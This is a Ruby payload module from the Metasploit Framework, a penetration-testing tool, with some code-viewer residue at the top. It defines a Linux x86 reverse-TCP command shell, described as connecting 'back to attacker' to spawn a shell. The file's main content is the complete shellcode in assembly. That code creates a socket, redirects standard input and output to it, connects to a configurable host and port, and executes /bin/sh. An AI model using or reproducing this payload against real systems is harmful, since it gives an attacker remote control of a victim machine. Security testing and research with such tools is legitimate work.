103 lines
3.4 KiB
Ruby
103 lines
3.4 KiB
Ruby
# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'metasm'
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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module Msf
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module Payloads
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module Singles
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module Linux
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module X86
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module ShellReverseTcp2
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include Msf::Payload::Single
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include Msf::Payload::Linux
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def initialize(info = {})
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# Remark: this function seems to be called a LOT, even before the shellcode is used.
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# We would better implement some caching.
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# We decoded skape's shellcode by using irb -r metasm-shell
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# and: puts shellcode.decode
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Reverse TCP Inline - Metasm demo',
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'Version' => '$Revision$',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => 'skape + Yoann Guillot and Julien Tinnes for metasm PoC',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LHOST' => [ 0, 'ADDR' ],
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'LPORT' => [ 0, 'n' ],
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},
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'Assembly' => <<EOS
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xor ebx, ebx ; @00000000 31db
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push ebx ; @00000002 53
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inc ebx ; @00000003 43
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push ebx ; @00000004 53
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push 2 ; @00000005 6a02
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push 66h ; @00000007 6a66
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pop eax ; @00000009 58
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mov ecx, esp ; @0000000a 89e1
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int 80h ; @0000000c cd80
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xchg ebx, eax ; @0000000e 93
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pop ecx ; @0000000f 59
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; Xrefs: 0000000f, 00000015
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xref_00000010_uuidfdbd8:
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mov al, 3fh ; @00000010 b03f
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int 80h ; @00000012 cd80
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dec ecx ; @00000014 49
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jns xref_00000010_uuidfdbd8 ; @00000015 79f9 -- to 10h
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; Xrefs: 00000015
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pop ebx ; @00000017 5b
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pop edx ; @00000018 5a
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push LHOST ; @00000019 687f000001
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push.i16 LPORT ; @0000001e 6668bfbf
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inc ebx ; @00000022 43
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push bx ; @00000023 6653
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mov ecx, esp ; @00000025 89e1
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mov al, 66h ; @00000027 b066
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push eax ; @00000029 50
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push ecx ; @0000002a 51
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push ebx ; @0000002b 53
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mov ecx, esp ; @0000002c 89e1
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inc ebx ; @0000002e 43
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int 80h ; @0000002f cd80
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push edx ; @00000031 52
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push 68732f2fh ; @00000032 682f2f7368
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push 6e69622fh ; @00000037 682f62696e
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mov ebx, esp ; @0000003c 89e3
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push edx ; @0000003e 52
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push ebx ; @0000003f 53
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mov ecx, esp ; @00000040 89e1
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mov al, 0bh ; @00000042 b00b
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int 80h ; @00000044 cd80
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EOS
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}
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))
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end
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end
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end end end end end
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